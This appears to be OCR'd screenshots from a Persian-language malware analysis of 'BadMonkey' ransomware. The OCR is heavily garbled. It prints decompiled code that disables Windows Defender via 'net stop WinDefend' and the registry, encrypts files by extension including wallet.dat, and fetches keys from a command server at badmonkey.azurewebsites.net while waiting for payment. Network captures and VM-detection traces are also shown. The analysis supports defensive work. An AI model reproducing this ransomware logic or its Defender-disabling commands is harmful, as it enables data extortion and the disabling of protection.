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5] CAUsers\SADEGH\Desktop\badmonkey\d5c5d6230b79e718edb7a0e131c5511069e7a8cc8577dbeb. . (|21 S|

:\Users\Public\Documents\My Music’' is denied.
Users\Public\Documents\My Pictures’' is denied.
Users\Public\Documents\My Uideos' is denied.
Users\SADEGH\AppData\lLocal\Application Data’ is denied.

: Users\SADEGH\AppData\Local\History  is denied.
‘C:\Users\SADEGH\AppDatailLocal\Temporary Internet Files' is d|

:\Users\SADEGH\Application Data’ is denied.
Users\SADEGHYCookies' is denied.
' Users\SADEGH\Documentsi\HMy Music’' is denied.
‘C:\Users\SADEGH\Documents\My Pictures’' is denied.
: Users\SADEGH\Documents\My Uideos ' is denied.
Users\SADEGH\Local Settings’' is denied.
Users\SADEGH\My Documents’ is denied.
Users\SADEGH\NetHood ' is denied.
Users\SADEGHYPrintHood' is denied.
Users\SADEGH\Recent " is denied.
Users\SADEGHY\SendTo" is denied.
Users\SADEGH\Start Menu" is denied.
Users\SADEGH\Templates’' is denied.
ZWindows\CSChuZ2.0.68" is denied.
Windows\System32\LogFiles\WMINRtBackup' is denied.
:\System Uolume Information’ is denied.

Press any key :\ 525

B ' C\Users\SADEGH\Desktop\badmonkey\d5c5d6230b79e718edb7a0el31c5511069e7a8cc85f77dbeb... | =— = P

eyNumber, CspProviderFlags flags, Object cspObject, SafeKeyHandle& hKey)

at System.Security.Cryptography.RSACryptoServiceProvider. ImportParameters(RSA
Parameters parameters)

at ConsoleAppl.Rsa.Decrypt(Byte[] encrypted., RSAParameters priuvkKey)

at ConsoleAppl.Victim_side.main.<whatWeShouldDo>d__9.MoueNext()

--- End of inner exception stack trace ---

at System.Threading.Tasks.Task.ThrowIfExceptional({Boolean includeTaskCanceled
Exceptions)

at System.Threading.Tasks.Task.Wait(Int32 millisecondsTimeout, CancellationTo|
ken cancellationToken)

at System.Threading.Tasks.Task.Wait()

at ConsoleAppl.Victim_side.main.Main()
===> (Inner Exception #0) System.Security.Cryptography.CryptographicException: B
ad Data.

at System.Security.Cryptography.CryptographicException. ThrowCryptograigs
ption(Int32 hr)

at System.Security.Cryptography.Utils._ImportKey(SafeProuvHandle hCSP,
eyNumber, CspProviderFlags flags, Object cspObject, SafeKeyHandle& hKey)

at System.Security.Cryptography.RSACryptoServiceProvider. ImportParame
Parameters parameters)

at ConsoleAppl.Rsa.Decrypt(Byte[] encrypted, RSAParameters priuvkey)

at ConsoleAppl.Victim_side.main.<whatWeShouldDo>d__9.MoveNext()<---
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.123, .3dm, .3ds, .3g92, .3gp, .602, .7z, .ARC, .PAQ, .accdb, .qi, .asc, .aes, .asf, .asm, .asp,
.avi, .backup, .bak, .bat, .bmp, .brd, .bz2, .cgm, .class, .cmd, .cpp, .crt, .cs, .csr, .csv, .db, .dbf,
.dch, .der, .dif, .dip, .djvu, .doc, .docb, .docm, .docx, .dot, .dotm, .dotx, .dwg, .edb, .em|, .fla,
Slv, .frm, .gif, .gpg, .9z, .hwp, .ibd, .iso, .jar, .java, .jpeg, .jpg, .js, .jsp, .key, .lay, .lay6, .Idf,
.m3u, .m4u, .max, .mdb, .mdf, .mid, .mkv, .mml, .mov, .mp3, .mp4, .mpeg, .mpg, .msg,
.myd, .myi, .nef, .odb, .odg, .odp, .ods, .odt, .onetoc2, .ost, .otg, .otp, .ots, .ott, .p12, .pas,
.pdf, .pem, .pfx, .php, .pl, .png, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsx, .ppt, .pptm,
.pptx, .psl, .psd, .pst, .rar, .raw, .rb, .rtf, .sch, .sh, .sldm, .sldx, .slk, .sln, .snt, .sql, .sqlite3,
.sqlitedb, .stc, .std, .sti, .stw, .suo, .svg, .sWf, .sxc, .sxd, .sxi, .sxm, .sxw, .tar, .tbk, .tgz, .tif, .tiff,
.txt, .uop, .uot, .vb, .vbs, .vcd, .vdi, .vmdk, .vmx, .vob, .vsd, .vsdx, .wav, .wb2, .wkl, .wks,
.wma, .wmv, .xlc, .xIm, .xls, .xIsb, .xIsm, .xlIsx, .xIt, .xItm, .xltx, .xlw, .zip, .c, .py, .st, wallet.dat
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@C@'| & » Computer » Media (E)

Organize ~ Include in library ~ Share with - Burn New folder

- Favorites Name - Date modified Type Size
Bl Desktop dnSpy.zip.aes 7/21/2018 3:15PM  AES File 23,553 KB
4 Downloads test file (1).bak.aes 7/21/2018 2:15PM  AES File 83 KB
«» Recent Places test file (1).docx.aes 7/21/2018 3:15PM  AES File 12 KB
test file (1).dwg.aes 7/21/2018 3:15PM  AES File 115 KB
- Libraries test file (1).jpg.aes 7/21/2018 3:15 PM  AES File 404 KB
*- Documents test file (1).key.aes 7/21/2018 3:15PM  AES File 1KB
4 Music test file (1).mov.aes 7/21/2018 3:15PM  AES File 1,536 KB
=L Pictures test file (1).mp3.aes 7/21/2018 3:15PM  AES File 6,233 KB
& videos test file (1).mp4.aes 7/21/2018 3:15PM  AES File 48,437 KB
test file (1).pdf.aes 7/21/2018 2:15PM  AES File 510 KB
& Computer test file (1).PNG.aes 7/21/2018 3:15PM  AES File 12 KB
& Local Disk (C) test file (1).rar.aes 7/21/2018 3:15PM  AES File 72,215 KB
i Media (E) test file (2).bak aes 7/21/2018 3:15PM  AES File 90 KB
test file (2).docx.aes 7/21/2018 3:15 PM  AES File 539 KB
& Network test file (2).JPG.aes 7/21/2018 3:15PM  AES File 134 KB
test file (2).mp3.aes 7/21/2018 3:15PM  AES File 4,069 KB
test file (2).mp4.aes 7/21/2018 3:15PM  AES File 801 KB
test file (2).rar.aes 7/21/2018 3:15PM  AES File 29,909 KB
test file (3).jpg.aes 7/21/2018 2:15PM  AES File 226 KB
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AP Stest file (Lrer  X| S5 5l 2 | AP et file (Lraraes X| Sy 5 e
00000000 | 0001 0203 0405 06 07 0B 09 Oa Ob Oc Od Oe Of T 00000000 | 00 01 0203 04 05 06 07 08 09 OaOb Oc Od Oe Of

00000000 52 61 7221 1la 07 00 c£ 90 73 00 00 Od 00 0Q 0O Rar!...I s...... = 00000000 bb d& 6a 12 e9 9f a3 dO 85 9b 18 9e ¢€b 9f 87 20 807 .&¥2D. > 2KTE
00000010 00 00 00 00 aB 68 74 c0 90 3f 00 d1 08 £0 00 Oc .“nch 2.f.5.. o 00000010 69 58 06 87 d0 7a 95 bf «c3 ee 68 84 11 38 T7f cb iX.#DzezRih,.80E
00000020 Oa 09 01 02 4f f1 eb 9f 77 11 &f 4c 1d 33 la 00 .0fig¥w.oL. 3. . 00000020 2a d0 96 7f fb al 5% 7c  6c Bf ca 64 da 42 70 61 *D-114;¥|1 EdIBpa
00000030 20 00 00 00 47 6c 6f 62 65 6c 6d 70 6f 73 74 &5 .Globelmposte 00000030 al 46 18 21 40 a4 72 89 eb d0 bb e2 £6é Bb 53 70 iF. ! @rx%EDnafc Sp
00000040 72 20 32 Sc 63 61 70 2e 70 &3 61 70 6Ge €7 00 b0 r 2\cap.pcapng.” 00000040 1d 11 b3 ec &1 31 6c b3 97 €9 c2 75 c7 26 8c e9 oSl 11’7f.i§u(:‘itié
00000050 | Oe c4 83 Oc 1510 cd 81 11 51 58 11 59 a3 2l &6 JAfL L DLQRLYEGE 00000050 | 8a fa 50 57 03 42 10 7f 02 86 cG be 82 01 6c aa  SUPW.B.0.1EX,.1°
00000060 3a a2 63 1c cE& 79 Be b7 98 ec €9 Bc 93 18 7d 17 zoc.EyE -T1iEM. 1. 00000060 84 8d 08 07 19 d7 B8f 51 e2 47 fl 9c B0 a7 £fd Se

00000070 15kb bf 79 Tb aa dd 55 £3 76 07 30 58 b0 39 £7 .pey[*¥Uov.0X" 9= 00000070 e5 ed e5 92 b3 02 4c c2 al be 51 59 B0 92 &6 ca

00000080 40 38 24 a4 0b 16 09 339 70 ec e2 fe 59 23 a2 53 B&gn...9piépYes 00000080 55 4f ab bb cf al B6& &3 00 04 a0 b2 al f1 ad a2

00000090 22 74 82 €1 a7 2d e7 Be 1d 31 74 cb £0 21 41 al "t,an;:E.ltEG!Ai 00000090 e7 29 dc 26 03 01 5e 6d d9 08 fa fc c2 54 13 09 uA] ..
000000a0 al 57 60 1f ec 25 9d 95 Oc 80 ff 36 fc T7e df cf (Wi - E¥si~BR 000000a0 25 1f 9d 36 91 e9 54 3f al 7f 6c 52 £7 02 £S5 ed %. 6%8]2{01R+.8&
000000b0 B0 0d 40 11 da 9c 18 5a 09 d3 ca 07 dO0 9a db 98 €.0.0e. 2. 0E. D50 000000b0 3f 61 6L 57 €4 b8 cd4 Tb d4 ef £5 20 58 £8 01 96 2aoid,A{0i6 Xo.—
000000c0 | 43 d4 52 £f £0 19 4d Ob Oc cc 4bcb dl bf dc 53  I0R§S.M..IKEN:OS 000000c0 | 2d le Be £2 04 £5 88 Sc 11 50 42 97 c0 74 63 94 -.Z8.8°\.PBhtc”
00000040 54 87 cfc7 cc4b 4dcb dl 51 9d 87 ¢9 de d9 Sc T*Igimﬂ +ET, 00000040 4b 4c cB Ta 14 &4 b3 16 20 al 95 07 B8d dc 5d ¢4 KLEz.d®. j+. O]&
000000e0 | 19 07 d4 14 11 Oc cb 4c  4a 3£ 70 c0 cO Oa 80 Oc  ..8...ELJephd.c. 000000e0 | 30 55 c9 &7 &7 dl 7£ 40 7d Oe ed 10 64 da 27 ef  (OUEggiD@}.i.d0'i
000000£0 Bc 4b 17 bf dd 07 d5 19 S5a 98 la dc db c7 cd bf (EK.;?.(“!.Z'.W';I‘;, 000000£0 b3 % 53 cb a3 %b 34 2a e8 2b 38 ad ef 74 2e 29 *>SEL s4*&+BHIT. )
00000100 df 58 S5b 9¢c 99 57 d& 47 d3 57 57 d9 c7 cc Oa c7 EX[E:“WBGGWW&[Gi < 00000100 77 e2 41 a0 81 a7 Oe 1la b9 13 aa b0 96 4c 55 al L2-LO
00000110 d7 9 59 Sa 12 07 cd 8d 4b ec 00 01 00 Ob cd 10 =eyz..t I 00000110 15 45 10 53 d4 b7 3b dd 37 5f eb 99 cd 17 62 cd 7_&=f.bi
00000120 dc Sa Sb 17 d7 Sb 3£ 72 bf bc 7f 7a db d9 17 Sb  DZ[.x[2rg3dz00.[ 00000120 57 6e 29 a4 58 dé da f5 9b 12 da cc 4f 4f 92 bb Tin) #0048 ». 0100 »
00000130 | 99 ca 3f 81 f£f £f7 3c d3 fd c5 cb fe 2d 2c 2f 2c "'E?‘}'{'—('f)f[i‘k]‘ip—,l, 00000130 | ed cd 07 8c de 22 bb 91 59 £c d4 £0 d4 ac 91 3c  AE.EB"»'Yadsd-'<
00000140 63 30 34 32 61 37 35 36 61 62 30 fe 74 d7 fb 1f c042a756ab0ptxi. 00000140 93 14 4c 9% 98 cb 51 26 92 33 eb 98 4c Eb e7 81 =.Lz"EQe’ 38 Leg
00000150 | dl e7 £4 72 13 fc db £fd 8f d8 £d 83 10 05 84 36 Reor.uly @9f...6 00000150 | 83 ce 9c 82 2a 94 56 e3 7c 30 80 ££ bd &7 a5 ec fle, 5"VAI0€§ o¥i
00000160 1f eb 4e 2c 7d 93 Te ab 6e e7 06 48 7f£ 53 33 &3 <8N, } "~eng.Hl 53f 00000160 e2 f1 c7 1e 25 0f e0 d8 ac Oe 80 fb 3b 96 84 47

00000170 S5f e0 e4 0Of ec 20 96 7f eD a0 a2 7f a2 22 11 bl _ad.i fa elle".& 00000170 43 77 77 0f 45 21 dc ca B85 3d e3 55 56 38 c2 34 Cww.E!TE. =3UVeis
00000180 61 b2 11 ba 21 97 fb 46 &6 e6 28 26 O0f 3f de el a%.®I-Ftz(s.2B& 00000180 Oe dc 63 cb 10 c& bS5 &7 63 32 93 c9 c9 49 78 41 .Hck.Enge>"EETxA
00000190 3f c8 76 0d £fc 80 19 £ff e8 74 03 fc eb 7f ac ab 2Ev.HE. jet. el -« 00000190 96 0f d2 98 b5 19 1c f0 9b 5f 2d 58 17 fc 31 23 -.0"n. .8 -ulg

000001a0 00 1f f9e9 B85 8c 14 02 49 1f 49 a4 ef f9 bf fd W€ E. LI IRIG Y 00000120 73 b3 96 92 13 la f2 a9 B85 £f Ge 66 B89 ed 6B c6 3°-'..0e.inf%i‘E

< 11 3 “ T

File Comparison
A & E e

Type Offset (Source) Offset (Dest) Size

Inserted 67,088,513 67,088,513 7
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Main() : void

)\plcp Main CU DN s
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Consolefppl.Victim side

O

WindowsTIdentity current = WindowsIdentity. ();

WindowsPrincipal windowsPrincipal = WindowsPrincipal{current);

windowsPrincipal.IsInRole(WindowsBuiltInRole. G

){)l_g ij.: \J:.ﬁ)‘ eor S )le‘CL' main \_}“’% .Y e

disabledefender() : void

ProcessStartInfo

= ProcessWindowStyle.
= "cmd.exe",

= "/c net stop WinDefend"

("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinDefend", "Start", 4);

Windows Defender os 8 Jlaé o ¥ 528

run(string) : Task

Task

str = "This is this will work.";
[1 i = Enceding.

("Started'

rsaparameters (id);
PublicKey = rsaparameters;

rsaparameters = ( );
: ("Got public Key");
[1 encrypted = i (i, PublicKey);
("Encrypted");
rsaparameters2 = madin .
PrivateKey = rsaparameters2;

rsaparameters2 = DE
[1 decrypted = i (encrypted, PrivateKey);

(decrypted));




getPrivateKey(string) : Task<RSAParamet...

Task< > (

HttpResponseMessage httpResponseMessage = main.clien
HttpResponseMessage response = httpResponseMessage;
httpResponseMessage = 5

PrivteKey = ( g

(response. )

ing private");
le rsaparametersSerializable = HttpContentExtensions. <RSAParametersSerializable>(response.
le temp = rsaparametersSerializable;
rsaparametersSerializable = 3
PrivteKey = temp.
temp = ]

PrivteKey;

e yax LS 4 by . getPrivateKey() b0 s

S A s 3 se O 53 s GL S b e oLl U8 W5 ales il 5 150 0L b

st Sl

whatWeShouldDo() : Task

B

rsaparameters =
rsaPub = rsaparameters;
rsaparameters = ( );
("got public key");
[1 encryptionKey = FileExplorer.
("generated key");
(encryptionKey);
("start Encrypting”);
FileExplorer. ( , encryptionKey);
. ("Endend Encrypting");
[1 encryptedAesKey = . (encryptionKey, rsaPub);
oK
OF
("encrypted key a
rsapriv = (
. ("Waiting for the victim to pa
flag = H
(!flag)

flag2 = main.
flag = flag2;
rsaparameters2
rsapriv = rsaparameters2;
rsaparameters2 = ( 'H
flag = H

[1 encryptionKey2 = . (encryptedfesKey, rsapriv);
("the frayer paid. start decrypting");
FileExplorer. ( , encryptionKey);

("Decryption complete");
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Gettingldentifier X
em;

em.Management;

Sl e IRl eses LS 4 bs e 5 US ankad

getPublicKey(string) : Task<RSAParamete...

PublicKey = Htt
Publi

IS slowl g CreateKey() ~l5 5 )l81- L FileExplorer oSS an by o 55 (slas askd

DAL e s byl e s S GetlogicalDrives()
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FileExplorer X
System;
System.Collections.Generic;
System.Collections.Specialized;
System.IO;
System.Net.Http;
System.Security.Cryptography;
Encrypt;

Consolefppl.Victim_side
FileExplorer
[] ( size)
RNGCryptoServiceProvider rngcryptoServiceProvider = RNGCryptoServiceProvider();
[] array = [size];

rngcryptoServiceProvider.GetBytes(array);
array;

LIS sl g CreateKey() &b s FileExplorer S\ sz

Walk{bool, byte[]) : void X

( encrypt, [] key)

[] logicalDrives =

( driveName logicalDrives)

DriveInfo drivelInfo = DriveInfo(driveName);
tlag = !drivelnfo. g
(flag)

("The drive {8} could not be read”, drivelnfo.

DirectoryInfo rootDirectory = drivelnfo. K
FileExplorer. (rootDirectory, encrypt, key);

("Files with restricted access:");
value FileExplorer.log)

(value);
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Environment 3><

afeCriticall

L] )

EnvironmentPermission{PermissionState.
logicalDrives =—
(logicalDrives == @)

(s

num = YlogicalDrives;
num2 = ;
1=

{num (=17

((num & 1u) !=
€

num2++ 3
>
num >>= 1;

[]1 array =
[1 array2 =

JlogicalDrives;

(num != Bu)

((num & du) !=

<

array[num2++] (array2);
3
num >>= 1;

[l array3 = array2;

num3> = ;
array3[num3] += "\u88e1l” ;

array;

la ssly5 o » —g> GetlogicalDrives() Gb Y s

Drivelnfo X
System;
System.Runtime.InteropServices;
System_Runtime.Serialization;
System.Security;
System.Security.Permissions;
System. Text;
Microsoft.Win32;

System. IO

[ComVisible( 3]

Serializable]

driveName)
(driveName == )
mentNullException("driveName");
(driveName. == 1)

driveName + "

(driveName,
(driveName) ;
| ._name. ._name G " , StringComparison

MustBeDriveletterOrRootDir"));

= driveName[0];
< 'A" || €> 'Z') &8& (c <

mentException( . ! MustBeDriveletterOrRootDir"}));

path
FileIOPermission(FileIOPermissionAccess. nd();




WoalkDirectoryTree{Directorylnfo, bool, by... >
|

FileInfo[] array =

|

encrypt, [1 key)
array .G i = (pieadi]d
¥
{UnauthorizedAc

c

essException ex)

);
yNotFoundException ex2)

(ex2. )
flag =

array !=
(flag)

(FileInfo filelInfo array)
flag?2 = encrypt && Fil
(Flag2)

(fileInfo.

FileExplorer.c.FileEncrypt{fileInfo.
(Exception ex3)

(ex3. ¥;

'encrypt &% filelInfo.

Explorer.c.FileDecrypt{filelnfo.
(Exception ex4)

(exa. )5
T
¥

DirectoryInfo[] directories

(DirectoryInfo root2

root.GetDirector
directories)
er.

(root2, encrypt, key);

FileExplorer X

() {123, "3dn", "

ckup", ".bak", ".bat", ".bmp", ' ".class", ".cmd", ".cpp",
f', ".dip", ".djw", !

".doc", ".doch", " Jdocx", ".dot", ".dotm", ".dotx",
L "hup", ".ibd", ".iso", ".jar", " O 0 Gl © St

" de”

5

» ar
"omky", ".nm1", ".moy"

Woawomopon on
5 tdse", key",
. .mp sg", ".myd", ".myi", '
Wi w gen W e ’ \
.ott", 0
.pptm", ".pptx", "
.5 sqlite3", ".sqlitedb", "
s, s ".th ! P 51 1 N o
"oy, ".xIc”, ".xIn®,

)

”, VI“.IJZ”, "“l“”, 'I“ARS”,
".st", "wallet.dat" }

)(FileExplore
Encrypt = New Encrypt()

StringCollection =

Collection()

HttpClient = New HttpClient()
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HEGIO PV &Lifyj C¢> Decrypt()

em;

em.Security.Cryptography;

Consolefppl

[] toEncrypt,

ryptoServiceProvider =

(pubKey) ;

~t (toEncrypt,

encrypted, rivKey)
ypted, P v

Pl 3 g e s ol oLES e g FileDecrypt() mb ol ol ale ctls

-J00R
-Runtime.InteropServices;
ity.Cryptography;

]

Destination, Length);

» rngeryptoServiceProvider =

< 1@; i++)

rngcryptoServiceProvider.Ge (array);

array;

Encrypt OIS sl

'Y



FileEncrypt(string, byte(]) : void

FileEnc £( inputFile, [] skey)

FileStream fileStream = FileStream(inputFile ", FileMode. , FileAccess.
RijndaelManaged rijndaelManaged =
rijndaelManaged. = 256;
rijndaelManaged. = 128;
rijndaelManaged . = PaddingMode.
[1 array = [16];
( i=8; i < array 53 i++)

array[i] ‘et ;

rijndaelManaged.
rijndaelManaged . nceding. - 3 (array);
rijndaelManaged . = CipherMode. H
CryptoStream cryptoStream = CryptoStream(fileStream, rijndaelManaged.C yptor(), CryptoStreamMode.
FileStream fileStream2 = FileStream(inputFile, FileMode. ¥;
[1 array2 = [1e48576];

count;
((count = fileStream2 d(array2, ®, array2

cryptoStream. e(array?, ®, count);
¥
fileStream2. ;s

(Exception ex)

("Error: " + ex.

. (inputFile);
cryptoStream.
fileStream.C

FileDecrypt(string, byte[]) : void X

FileDecryf inputFile, [1 skey)

FileStream fileStream = FileStream(inputFile, FileMode. N3
flag = ! - (fileStream. ) -Conta "_aes™);
(1flag)

path = inputFile.Replace(”.aes”, "");
i jndaelManaged rijndaelManaged — RijndaelManaged();
rijndaelManaged. = 256;
rijndaelManaged. = 128;
[]1 array = [16];
( i=8; i < array.
array[i] = '@";
rijndaelManaged.
rijndaelManaged. - -GetBytes{array);
rijndaelManaged. = PaddingMode. H
rijndaelManaged. = CipherMode.
CryptoStream cryptoStream tream{fileStream, rijndaelManaged.C ptor(), CryptoStreamMode.
FileStream fileStream2 = i1 eam{path, FileMode. );
[1 array2 = [1e48576];

count;
{(count = cryptoStream.Read(array2, 0, array2.

fileStream2 array?2, @, count);
ion ex)
ryptographicException error:

("Error: " + ex2.

cryptoStream.Close();
(Exception ex3)

“"Error by closing CryptoStream: " + ex3.
y g Cryp

fileStream2.
fileStream.C

FileDecrypt(, ) b T s

\Y

)
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checkVM() : bool X

EMINFO");

S e oslizal O iU SKol s 4 25 (655 s 4luls 5 Lis BadMonkey i35l -L

mscoree.dll

_CorExeMain

e Donut.exe

s 3l PLA e 53 LBl b s 5 sl LB

C:\WINDOWS\system "MN\winime " ".dll

C:\WINDOWS\system "N\ws ©_1T.dll

C:\WINDOWS\system " N\ws Thelp.dll

C:\WINDOWS\system " N\psapi.dil

C:\WINDOWS\system "MN\mscoree.dll

C:\WINDOWS\system "Nimm rY.dll

C:\WINDOWS\system "Nlpk.dll

C:\WINDOWS\system "Nusp ! -.dll

C:\WINDOWS\Microsoft. NET\Framework\v ¢. «. 7"+ I) \mscoreei.dll
C:\WINDOWS\Microsoft. NET\Framework\v Y. +. 2+ YY\mscorwks.dll
C:\WINDOWS\Microsoft. NET\Framework\v ¢. «. ¥+ IV \clr.dll
C:\Documents and Settings\Administrator\Local Settings\Temp\EB 1A 7\ 19 7E.exe
C:\WINDOWS\system ""\MSVCR )+« _CLR + <~ +.dll

C:\WINDOWS\Microsoft. NET\Framework\v ¢. -. 7"+ I) I\ Config\machine.config

C:\WINDOWS\assembly\Nativelmages_v ¢. .7+ 719 _FNindex ' A.dat

Ve
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C:\WINDOWS\assembly\Nativelmages_v ¢.+. 7+ 719 FN\mscorlib\cece id + Yo Te 1A YYh T€0AVpg 79 T+ od \msc
orlib.ni.dll

C:\WINDOWS\Microsoft. NET\Framework\v £. «. ¥+ I) \Culture.dll
C:\WINDOWS\Microsoft. NET\Framework\v ¢. «. T+ 7) A\locale.nlp
C:\WINDOWS\Microsoft. NET\Framework\v ¢. «. "+ I) A\nlssorting.dll
C:\WINDOWS\Microsoft. NET\Framework\v ¢. «. 7"+ I) I\SortDefault.nlp
C:\WINDOWS\system " Nrpcss.dll

C:\WINDOWS\Microsoft. NET\Framework\v £. +. ¥+ 7) I\clrjit.dll
C:\WINDOWS\assembly\pubpol ).dat

C:\WINDOWS\Microsoft. NET\Framework\v ¢. «. 7"+ ) \mscorrc.dll

C:\WINDOWS\Microsoft. NET\Framework\v . «. ¥+ I) \diasymreader.dll

g 3l U e 53 DI BIEL L s 25 ey sladS

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ 97 7E.exe
\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\Codeldentifiers

\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\Codeldentifiers\TransparentEnabled

\REGISTRY\USER\S-1-0- Y 1=V EAYEVTO0 - ) TE00F YT £V o ) 1T
o+ +\Software\Policies\Microsoft\Windows\Safer\Codeldentifiers

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\mscoreei.dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntdll.dll

\Registry\Machine\Software\Microsoft\WindowsNT\CurrentVersion\ImageFile Execution
Options\KERNEL "Y.dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDI "".dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USER " Y.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Secur "".dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RPCRT ¢.dlI

\Registry\Machine\Software\Microsoft\WindowsNT\CurrentVersion\ImageFile Execution
Options\ADVAPI "Y.dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msvcrt.dll

\Registry\Machine\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\WS YHELP.dII

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WS *_1V.dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\SHLWAPI.dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSAPI.DLL

\o
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\Registry\Machine\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\winime T"T.dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscoree.dll

\REGISTRY\MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\mscoree.
dI\CheckAppHelp

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMM "Y.DLL
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USP ! +.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LPK.DLL

\Registry\Machine\Software\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\MSVCR ! + - C
LR« & -dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clr.dll

\REGISTRY\MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\ 79 TE.exe\R
pcThreadPoolThrottle

\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\culture.dll
\Registry\Machine\Software\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\mscorlib.ni.dll

\Registry\Machine\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\nissorting.dll

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ole I".dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clrjit.dll
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting\DebugApplications

\REGISTRY\USER\S-1-0-TY -V EAYEVTO0 ) ) TECOYYYIG ) ENY e o ) I
o+ +\SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting\DebugApplications

\REGISTRY\USER\S-1-0-TY -V EAYEVTO ) ) TECOYYYIG ) EN Yo o ) I
o+ «\SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting

\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting
\REGISTRY\MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting\ShowU|
\REGISTRY\MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DoReport

\Registry\Machine\Software\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\diasymreader
.dil
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[ W[icp-siream e 8 BE -] opression.. +
Ho. Time Source Destination Protocol  Length  Tnfo
‘ r 98 330.645800  192.168.1.35 52.173.139.125 TP 66 49172 5 88 [SYN] Seq=8 Win=8192 Len=0 MSS=1468 WS=256 SACK_PERM=1

99 330.889287 52.173.139.125 192.168.1.35 TCP 66 88 + 49172 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=0 MSS=1404 WS=256 SACK_PERM=1

100 330.889336  192.168.1.35 52.173.139.125 54 49172 » 8@ [ACK] Seq=1 Ack=1 Win=65792 Len=0

101 330.889675  192.168.1.35 52.173.139.125 182 GET /api/paid/@FABFBFFOA0306(3 HTTP/1.1

162 331.172587 52.173.139.125 192.168.1.35 317 HTTP/1.1 484 Not Found

103 331.30000%  192.168.1.35 52.173.139.125 250 GET /api/GetPriviey/@FABFBFFOR8306(3 HTTP/1.1

104 331.554966 52.173.139.125 192.168.1.35 176 HTTP/1.1 484 Not Found

185 331.752463  192.168.1.35 52.173.139.125 54 49172 » 38 [ACK] Seq=325 Ack=386 Win=65536 Len=

Frame 98: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @
Ethernet II, Src: Vmware 63:96:84 (0:0c:29:63:96:84), Dst: ZyxelCom 99:36:cc (58:8b:f3:99:36:cc)
Internet Protocol Version 4, Src: 192.168.1.35, Dst: 52.173.139.125

Transmission Control Protocol, Src Port: 49172, Dst Port: 88, Seq: @, Len: @

58 8b f
08 34 @
8b 7d
@ 20 00 &:
0040 o4 02

39936 cc@@ Bc 20639584080804500 X...6... )c..
i1 bb 40 80 80 @6 0B 80 cB a8 01 23 34 ad
0 14 68 50 de 46 6b 41 0 00 00 69 80 02
2 1c 68 00 02 84 85 b4 81 83 03 88 81 61

E.

http://badmonkey.azurewebsites.net

Wl 038 13 LI OTL I3 2L oS e

&diw‘)JT Q)ﬁe)l.q..ja )}JLS(:L‘

OY.AVYAY4.\ Yo A el

‘.:M‘OMW&Gﬂ)ﬂ)MJJ&J&?‘;MLnyQL;J}

4 \Wircshark - Follow TCP Stream (tcp.stream eq 8) - wireshark_93DF4962 ADDB-49BE-AECT 7CBESBESSZBL 20... || [ el

GET fapi/paid/@FABFBFF@@@306C3 HTTP/1.1

M  Accept: application/json
Host: badmonkey.azurewebsites.net
Connection: Keep-Alive
HTTP/1.1 484 Not Found
Server: Kestrel
X-Powered-By: ASP.NET
Set-Cookie:
ARRAFfinity=3acalaade5c4f1921a1109ccdb@@ec81d52556026c45cdfcad306e237F25865a; Path=/;HttpoOnly
;Domain=badmonkey.azurewebsites.net
Date: Sat, 21 Jul 2018 18:46:42 GMT
Content-Length: @

| - fapi/GetPrivKey/@FABFBFF@@@3@6C3 HTTP/1.1
Accept: application/json
Host: badmonkey.azurewebsites.net
Cookie: ARRAffinity—3acalaade5caf1921a1109ccdb@@ec81ldS52556026ca45cdfca@306e237F25865a
HTTP/1.1 484 Not Found
Server: Kestrel

| X-Powered-By: ASP.NET

| pate: sat, 21 Jul 2018 10:46:43 GMT

| Content-Length: ©

t
+ chmnt ohtn 3 werver ke & furns.
